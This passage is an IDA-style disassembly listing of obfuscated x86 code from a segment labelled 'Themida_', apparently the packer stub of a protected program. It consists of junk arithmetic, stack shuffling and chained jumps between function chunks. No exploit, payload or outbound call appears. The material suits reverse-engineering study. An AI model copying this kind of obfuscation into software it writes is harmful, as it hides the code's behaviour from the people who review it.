var_8		= dword	ptr -8
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00591667 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00591D59 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059B1DD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059D17B SIZE 0000000B BYTES

		lodsd
		jmp	loc_59B1DD
sub_5969DC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5969E2:				; CODE XREF: sub_59390B+B63Cj
		push	edi
		push	[esp+6+var_4+2]
		pop	edi
		pop	[esp+6+var_8+2]
		pop	esp
		jmp	loc_5985F8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5969F1:				; CODE XREF: Themida_:00598475j
		push	ebx
		jmp	loc_5956A9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_5969F7:				; CODE XREF: sub_59918B+A1A7j
		xchg	edx, [esp+4+var_4]
		jmp	loc_5A168C
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594D13


loc_5969FF:				; CODE XREF: sub_594D13+7380j
		pop	edi
		sub	eax, 7C187F85h
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp-8+arg_4]
		jmp	loc_59D2EE
; END OF FUNCTION CHUNK	FOR sub_594D13
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CAFB


loc_596A10:				; CODE XREF: sub_59CAFB+48C1j
		push	eax
		mov	eax, 1B446617h
		mov	ecx, eax
		pop	eax
		dec	ecx
		add	ecx, 1
		xor	ecx, 72B05132h
		sub	esp, 4
		mov	[esp+0Ch+var_C], eax
		mov	eax, 60656D82h
		sub	eax, 1
		push	ebx
		mov	ebx, 0DA2710EAh
		add	eax, ebx
		pop	ebx
		sub	ecx, eax
		jmp	loc_5A56D1
; END OF FUNCTION CHUNK	FOR sub_59CAFB
; ---------------------------------------------------------------------------


loc_596A46:				; CODE XREF: Themida_:00593676j
		push	dx
		mov	dh, 45h
		jmp	loc_593401
; ---------------------------------------------------------------------------


loc_596A4F:				; CODE XREF: Themida_:0059A9A0j
		pop	ecx
		push	77EAh
		mov	[esp], ebp
		jmp	loc_59258C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596A5D:				; CODE XREF: sub_59390B+5248j
		mov	[esp+0], eax
		mov	eax, 4
		add	ebp, eax
		mov	eax, [esp+0]
		jmp	loc_5A4834
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596A6F:				; CODE XREF: Themida_:005964AAj
		mov	edi, 4
		mov	ecx, edi
		jmp	loc_5A10B0
; ---------------------------------------------------------------------------


loc_596A7B:				; CODE XREF: Themida_:005A2EAAj
		pop	eax
		or	dh, cl
		mov	cx, [esp]
		jmp	loc_5A1956
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590AC5


loc_596A87:				; CODE XREF: sub_590AC5+ABDFj
		push	[esp-4+arg_4]
		jmp	loc_59EFE0
; END OF FUNCTION CHUNK	FOR sub_590AC5
; ---------------------------------------------------------------------------


loc_596A90:				; CODE XREF: Themida_:00599E1Fj
		xor	esi, 39894577h
		add	esi, 5C112672h
		push	4B3Fh
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		sub	esi, edi
		pop	edi
		push	ebx
		mov	ebx, 56E61640h
		sub	ebx, 8B7ECE0h
		xor	esi, ebx
		pop	ebx
		dec	esi
		jmp	loc_5945E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2196


loc_596AC1:				; CODE XREF: sub_5A2196+1j
		mov	ebx, 3EDC7341h
		sub	eax, ebx
		pop	ebx
		push	4B37h
		mov	[esp+4+var_4], ecx
		mov	ecx, 4A3301D7h
		sub	eax, 66CD7BFEh
		add	eax, ecx
		add	eax, 66CD7BFEh
		jmp	loc_59ACB3
; END OF FUNCTION CHUNK	FOR sub_5A2196
; ---------------------------------------------------------------------------


loc_596AE7:				; CODE XREF: Themida_:0059A4F6j
		mov	ebx, 4DC7343Bh
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 4DC33427h
		add	eax, ecx
		pop	ecx
		jmp	loc_5941F0
; ---------------------------------------------------------------------------


loc_596AFD:				; CODE XREF: Themida_:005A356Ej
		add	ecx, eax
		jmp	loc_590D23
; ---------------------------------------------------------------------------


loc_596B04:				; CODE XREF: Themida_:0059D3D4j
		add	esp, 4
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2D8D


loc_596B0F:				; CODE XREF: sub_5A2D8D+C54j
		pop	esp
		jmp	loc_59AE21
; END OF FUNCTION CHUNK	FOR sub_5A2D8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_596B15:				; CODE XREF: sub_59A75E+89ADj
		add	ecx, edi
		jmp	loc_59CA5E
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596B1C:				; CODE XREF: sub_59390B-74Aj
		pop	eax
		push	553Dh
		mov	[esp+4+var_4], esi
		xor	[esp+4+var_4], 3B3C5DC1h
		pop	ebp
		push	eax
		mov	eax, 6BD86A9Ch
		neg	eax
		or	eax, 1479699Bh
		or	eax, 507B5167h
		push	ecx
		mov	ecx, 4C273F3h
		jmp	loc_5A07A3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A25D


loc_596B4A:				; CODE XREF: sub_59A25D+32j
		sub	ebp, 6CAD6929h
		add	ebp, esi
		add	ebp, 6CAD6929h
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	ebp
		jmp	loc_593551
; END OF FUNCTION CHUNK	FOR sub_59A25D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_596B67:				; CODE XREF: sub_59A4D6+1512j
		pop	eax
		shr	ebp, 6
		jmp	loc_5A3AC1
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------


loc_596B70:				; CODE XREF: Themida_:005A4895j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	esi
		push	0F6Fh
		mov	[esp], eax
		mov	eax, 4
		add	esi, 3383666Ch
		add	esi, eax
		sub	esi, 3383666Ch
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_59E23E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596BA5:				; CODE XREF: sub_59390B+7048j
		shl	dh, 4
		add	dh, 22h
		sub	bl, dh
		pop	dx
		jmp	loc_59AC50
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596BB4:				; CODE XREF: Themida_:005A3E3Ej
		sub	ebx, edi
		pop	edi
		push	ebp
		mov	ebp, 6FF4768Eh
		add	ebp, 42E2505Fh
		jmp	loc_599111
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_596BC8:				; CODE XREF: sub_595BAD-5DDj
		push	46887583h
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		jmp	loc_5944D4
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_596BDC:				; CODE XREF: sub_59654E+8B4Bj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+8+var_8]
		pop	esp
		push	542Ah
		mov	[esp+8+var_8], ecx
		push	[esp+8+var_4]
		jmp	loc_599A3B
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------


loc_596BFA:				; CODE XREF: Themida_:005959A5j
		xor	bl, 0Fh
		push	eax
		mov	ah, 6Bh
		neg	ah
		sub	ah, 0Eh
		sub	bl, ah
		pop	eax
		add	bl, 46h
		and	bl, 48h
		sub	bl, 1
		jmp	loc_59C1A3
; ---------------------------------------------------------------------------


loc_596C16:				; CODE XREF: Themida_:0059E232j
		add	esi, ecx
		pop	ecx
		push	ecx
		sub	esp, 4
		jmp	loc_59991E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_596C22:				; CODE XREF: sub_59FCCB-DAE4j
		pop	esp
		mov	[esp+2+var_4+2], edx
		jmp	loc_598F95
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596C2B:				; CODE XREF: sub_59390B-F0Cj
		inc	bl
		dec	bl
		shr	bl, 4
		xor	bl, 0CFh
		sub	dh, bl
		mov	ebx, [esp-14h+arg_C]
		jmp	loc_59C023
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_596C3F:				; CODE XREF: sub_59FD45-A7FEj
		push	edx
		mov	edx, 34CC3D87h
		not	edx
		shr	edx, 2
		jmp	loc_59FAFF
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		jmp	loc_594685
; ---------------------------------------------------------------------------


loc_596C59:				; CODE XREF: Themida_:00596CFFj
		add	ebp, edi
		jmp	loc_5A387B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58F3


loc_596C60:				; CODE XREF: sub_5A58F3+1j
		xor	eax, ebx
		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A50FE
; END OF FUNCTION CHUNK	FOR sub_5A58F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D1FC


loc_596C78:				; CODE XREF: sub_59D1FC-1212j
		sub	eax, edi
		pop	edi
		shl	eax, 1
		xor	eax, 1F6D9C7Ch
		add	edx, eax
		pop	eax
		jmp	loc_59430F
; END OF FUNCTION CHUNK	FOR sub_59D1FC
; ---------------------------------------------------------------------------


loc_596C8A:				; CODE XREF: Themida_:005A5303j
		xor	ecx, 13532602h
		jmp	loc_5A23C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596C95:				; CODE XREF: sub_59390B+B083j
		or	ebx, 1A3D7784h
		jmp	loc_596395
; ---------------------------------------------------------------------------


loc_596CA0:				; CODE XREF: sub_59390B-2D74j
		push	dword ptr [esp+0]
		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_594284
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596CB4:				; CODE XREF: Themida_:0059F11Cj
		mov	ecx, 50F20350h
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 506C3F54h
		not	ecx
		add	ecx, 36E61777h
		jmp	loc_5A3658
; ---------------------------------------------------------------------------


loc_596CCF:				; CODE XREF: Themida_:0059B471j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp], esp
		push	eax
		jmp	loc_5A506B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_596CFA:				; CODE XREF: Themida_:0059DF99j
		mov	edi, 0AFC0B75h
		jmp	loc_596C59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596D04:				; CODE XREF: sub_59390B+48Ej
		add	al, 0DBh
		add	al, 0E4h
		add	al, bl
		sub	al, 0E4h
		push	edx
		mov	dh, 0DBh
		add	al, 53h
		sub	al, dh
		jmp	loc_593784
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596D18:				; CODE XREF: Themida_:0059C887j
		add	esp, 4
		add	edx, edi
		pop	edi
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_5A33C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596D32:				; CODE XREF: sub_59390B-A5Dj
		mov	edi, [esp-14h+arg_C]
		add	esp, 4
		jmp	loc_59317B
; ---------------------------------------------------------------------------


loc_596D3D:				; CODE XREF: sub_59390B+24E5j
		pop	esi
		push	ebp
		mov	ebp, 11F7337Ah
		shl	ebp, 8
		not	ebp
		add	ebp, 50E259A8h
		jmp	loc_5A4CCE
; ---------------------------------------------------------------------------


loc_596D54:				; CODE XREF: sub_59390B+1544j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		push	ebx
		mov	ebx, 75B439ECh
		sub	edx, ebx
		pop	ebx
		add	edx, eax
		add	edx, 75B439ECh
		jmp	loc_59C4E6
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596D84:				; CODE XREF: Themida_:0059DB09j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_59C7D1
; ---------------------------------------------------------------------------


loc_596D8D:				; CODE XREF: Themida_:005A5A1Bj
		xor	ebx, eax
		push	edx
		jmp	loc_59F30A
; ---------------------------------------------------------------------------


loc_596D95:				; CODE XREF: Themida_:0059E425j
		add	ebx, 727615A0h
		add	ebx, ecx
		sub	ebx, 727615A0h
		pop	ecx
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	edi, ecx
		pop	ecx
		add	ebp, edi
		jmp	loc_591C8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_596DB9:				; CODE XREF: sub_599AE1+1B01j
		mov	esi, 24B13E18h
		xor	edx, esi
		jmp	loc_5A2997
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596DC5:				; CODE XREF: sub_59390B+7295j
		pop	esp
		push	edi
		push	[esp+0Ch+var_8]
		pop	edi
		pop	[esp+0Ch+var_C]
		mov	esp, [esp+8+var_8]
		mov	[esp+8+var_8], ebx
		push	esi
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		mov	esi, [esp+10h+var_10]
		add	esp, 4
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_59556C
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_596E00:				; CODE XREF: sub_59654E-18B8j
		mov	esp, [esp+0]
		mov	edx, [esp+0]
		add	esp, 4


loc_596E09:				; CODE XREF: sub_59CFD4+376Fj
		push	ecx
		sub	esp, 4
		mov	[esp+4+var_4], esp
		jmp	loc_599EBA
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------


loc_596E15:				; CODE XREF: Themida_:00594AE0j
		mov	edx, 3BD437B0h
		sub	[esp+8], edx
		jmp	loc_5A49E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DC9E


loc_596E23:				; CODE XREF: sub_59DC9E+620Fj
		sub	eax, 25A41CF7h
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		sub	[edi+24h], eax
		jmp	loc_5959D6
; END OF FUNCTION CHUNK	FOR sub_59DC9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_596E39:				; CODE XREF: sub_5A4CDD-171j
		sub	edx, 4FF25952h
		sub	edx, 1D2522F0h
		pop	edi
		mov	ecx, edx
		pop	edx
		jmp	loc_592AF7
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_596E4E:				; CODE XREF: Themida_:0059D9CBj
		pop	edi
		push	edi
		mov	edi, 178E1241h
		add	edi, 4E754C00h
		add	ecx, edi
		pop	edi
		push	edx
		jmp	loc_5A10DB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		jmp	loc_59B650
; ---------------------------------------------------------------------------


loc_596E6E:				; CODE XREF: Themida_:0059F163j
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_59E65B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596E78:				; CODE XREF: sub_59390B+538Bj
		add	edx, 4801289Fh
		add	edx, ebx
		jmp	loc_5993F8
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596E85:				; CODE XREF: Themida_:005A2346j
		push	2
		pop	ebp
		add	esi, ebp
		mov	ebp, [esp]
		sub	esp, 4
		jmp	loc_5A1923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_596E98:				; CODE XREF: sub_591FC5+10FE6j
		mov	bl, cl
		pop	ecx
		jmp	loc_5983C3
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_596EA0:				; CODE XREF: Themida_:005A1F7Cj
		add	edx, 104A3046h
		sub	edx, edi
		sub	edx, 104A3046h
		add	edx, 166A29A6h
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	0AC3h
		mov	[esp], edx
		push	3F4B13CDh
		pop	edx
		or	edx, 36D45E6Ah
		sub	edx, 3FDF5FEDh
		jmp	loc_591D66
; ---------------------------------------------------------------------------


loc_596EEB:				; CODE XREF: Themida_:0059C877j
		add	esp, 4
		and	[edi+1Ch], ebp
		mov	ebp, [esp]
		jmp	loc_5923D5
; ---------------------------------------------------------------------------


loc_596EFC:				; CODE XREF: Themida_:005A426Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A4B7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_596F0D:				; CODE XREF: sub_59390B+E78Ej
		xchg	ebx, esi
		push	edx
		push	esi
		pop	edx
		pop	esi
		push	443Ch
		jmp	loc_5926FF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_596F1D:				; CODE XREF: Themida_:00597DB5j
		or	ebp, 2E324B6h
		xor	ebp, 3970717h
		mov	eax, ebp
		jmp	loc_5A0E01
; ---------------------------------------------------------------------------


loc_596F30:				; CODE XREF: Themida_:005994A1j
		pop	edi
		push	4E33632Dh
		mov	esi, [esp]
		add	esp, 4
		sub	esi, eax
		pop	eax
		sub	edx, 45135B17h
		sub	edx, 61370E6Fh
		add	edx, esi
		add	edx, 61370E6Fh
		push	ecx
		jmp	loc_59FA60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_596F59:				; CODE XREF: sub_591FC5+A9E9j
		mov	ah, 0FAh
		and	cl, ah
		mov	eax, [esp+8+var_8]
		jmp	loc_59B8A0
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_596F65:				; CODE XREF: Themida_:0059D1F7j
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		sub	esp, 4
		jmp	loc_59B942
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_596F8A:				; CODE XREF: sub_59FD45-E2j
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		or	ebx, ebx
		jnz	loc_59D0E9
		push	ebx
		jmp	loc_5A0A26
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------


loc_596F9F:				; CODE XREF: Themida_:0059A5B0j
		pop	esp
		mov	[esp], ebx
		push	eax
		push	ebx
		mov	bh, dl
		mov	al, bh
		pop	ebx
		push	edx
		mov	dh, al
		push	6950h
		mov	[esp], eax
		mov	al, dh
		jmp	loc_59AC5A
; ---------------------------------------------------------------------------


loc_596FBC:				; CODE XREF: Themida_:0059C5DBj
		mov	esp, [esp]
		add	eax, 4
		jmp	loc_59EAD4
; ---------------------------------------------------------------------------


loc_596FC9:				; CODE XREF: Themida_:005A07D7j
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_59951E

; =============== S U B	R O U T	I N E =======================================



sub_596FDC	proc near		; CODE XREF: sub_59BDD3-41ECj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	ecx
		mov	ecx, 4F4C04A7h
		dec	ecx
		and	ecx, 4B373416h
		jmp	sub_59D82E
sub_596FDC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_596FF7:				; CODE XREF: sub_591FC5+A7A9j
		sub	al, 0Ch
		add	al, bl
		push	dx
		mov	dl, 0Ch
		add	al, dl
		pop	dx
		sub	al, 64h
		jmp	loc_5933E0
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------


loc_59700A:				; CODE XREF: Themida_:005A072Ej
		xchg	bl, cl
		push	ebx
		mov	bh, 0A9h
		dec	bh
		dec	bh
		add	bh, 0D4h
		xor	bh, 16h
		sub	bh, 0
		add	cl, bh
		pop	ebx
		push	small 12E0h
		jmp	loc_59E844
; ---------------------------------------------------------------------------


loc_597028:				; CODE XREF: Themida_:005A2C2Ej
		pop	eax
		shr	edi, 1
		shl	edi, 6
		neg	edi
		jmp	loc_5916B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597035:				; CODE XREF: sub_59390B+7C26j
		push	edi
		mov	edi, 7E9910A5h
		mov	ebp, 8166EF5Fh
		add	ebp, edi
		jmp	loc_5A5814
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_597047:				; CODE XREF: Themida_:00591989j
		push	eax
		mov	eax, esp
		jmp	loc_5A3F07
; ---------------------------------------------------------------------------


loc_59704F:				; CODE XREF: Themida_:005A4030j
		push	2ACAh
		mov	[esp], edi
		jmp	loc_5A0DA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_59705C:				; CODE XREF: sub_59A431+9EBj
		mov	esi, [esp+18h+var_18]
		jmp	loc_59385A
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597064:				; CODE XREF: sub_59390B+9D9Fj
		mov	ecx, 0FFFFFFFFh
		add	eax, 45A51CD0h
		add	eax, ecx
		jmp	loc_59C6FA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_597075:				; CODE XREF: sub_59886E+2B7j
		mov	esi, 4CEC776Ah
		add	[esp+8+var_4], esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		pop	eax
		push	3FCDh
		mov	[esp+4+var_4], ebp
		mov	ebp, 4CEC776Ah
		push	ebx
		mov	ebx, 1999374Ch
		push	ebx
		not	[esp+0Ch+var_C]
		pop	ebx
		jmp	loc_59C581
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------


loc_5970A2:				; CODE XREF: Themida_:0059A7ACj
		mov	[esp], ebx
		mov	bh, 8Ch
		sub	cl, bh
		pop	ebx
		jmp	loc_594D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5970AF:				; CODE XREF: sub_59390B+B7AFj
		add	ebx, edi
		push	eax
		mov	eax, 41734507h
		inc	eax
		and	eax, 4297122Fh
		jmp	loc_59E57D
; ---------------------------------------------------------------------------


loc_5970C2:				; CODE XREF: sub_59390B+266Aj
		add	ebx, 322E6F33h
		xor	esi, ebx
		pop	ebx
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5970D4:				; CODE XREF: Themida_:005A4F16j
		push	ebx
		push	4E507D9Bh
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, 37A56B71h
		not	ebx
		push	eax
		jmp	loc_5A5264
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		add	dword ptr [esp], 4
		pop	esi
		push	edx
		push	ebp
		mov	ebp, 4
		mov	edx, ebp
		pop	ebp
		add	esi, 53C87856h
		add	esi, edx
		sub	esi, 53C87856h
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	2
		pop	ebx
		sub	esi, 3B70A97h
		add	esi, ebx
		jmp	loc_5A0FEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_59712E:				; CODE XREF: sub_5A21DE-10C0Cj
		mov	ecx, [esp+0Ch+var_C]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+10h+var_10]
		pop	esp
		add	ebp, 55B3370Ch
		sub	ebp, 119C0A90h
		add	ebp, edx
		add	ebp, 119C0A90h
		sub	ebp, 55B3370Ch
		pop	edx
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_5987CA
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------

locret_597168:				; CODE XREF: Themida_:0059B57Aj
		retn
; ---------------------------------------------------------------------------


loc_597169:				; DATA XREF: Themida_:005907B8o
		push	edx
		push	341Ah
		jmp	loc_59F4DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597174:				; CODE XREF: sub_59390B-166j
		mov	[esp-12h+arg_8+2], esi
		jmp	loc_598A31
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59717C:				; CODE XREF: Themida_:0059FEC6j
		push	ebx
		jmp	loc_592C77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_597182:				; CODE XREF: sub_59390B+84F4j
		xor	edi, ebp
		xor	ebp, edi
		not	edi
		jmp	loc_5934BE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


loc_59718D:				; CODE XREF: sub_5A23FB-F21Fj
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_59CAE4
; END OF FUNCTION CHUNK	FOR sub_5A23FB

; =============== S U B	R O U T	I N E =======================================



sub_597198	proc near		; CODE XREF: sub_5A28F6-943Dj

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00590A9B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00593268 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059528E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059EDCD SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A0A0A SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		jmp	loc_59528E
sub_597198	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_5971AE:				; CODE XREF: sub_59886E+3D16j
		or	ebx, 2DCD3F02h
		jmp	loc_59E616
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_5971B9:				; CODE XREF: sub_5A0BFE-6515j
		add	edi, ebp
		jmp	loc_590EB7
; END OF FUNCTION CHUNK	FOR sub_5A0BFE

; =============== S U B	R O U T	I N E =======================================



sub_5971C0	proc near		; CODE XREF: sub_59E716-A383j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005952D8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00595D3A SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00599B71 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059BFEF SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059D19B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A21B1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3E2A SIZE 00000006 BYTES

		push	ebp
		push	11257C37h
		pop	ebp
		add	ebp, 6905FCADh
		mov	edi, ebp
		pop	ebp
		mov	ebx, edi
		jmp	loc_5952D8
sub_5971C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5971D7:				; CODE XREF: Themida_:00591E70j
		mov	[esp], eax
		mov	eax, 16002FCCh
		jmp	loc_5A536C
; ---------------------------------------------------------------------------


loc_5971E4:				; CODE XREF: Themida_:00598410j
		xor	ebp, 2A8D7CEBh
		add	ebp, 1C4841Dh
		xor	ebx, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_59AC2F
; ---------------------------------------------------------------------------


loc_5971FA:				; CODE XREF: Themida_:00592DBBj
		add	esp, 4
		push	edx
		push	esp
		mov	edx, [esp]
		push	edi
		jmp	loc_59AC1C
; ---------------------------------------------------------------------------


loc_59720B:				; CODE XREF: Themida_:00594687j
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		jmp	loc_5962EB
; ---------------------------------------------------------------------------


loc_59721F:				; CODE XREF: Themida_:0059E154j
		push	esi
		push	ecx
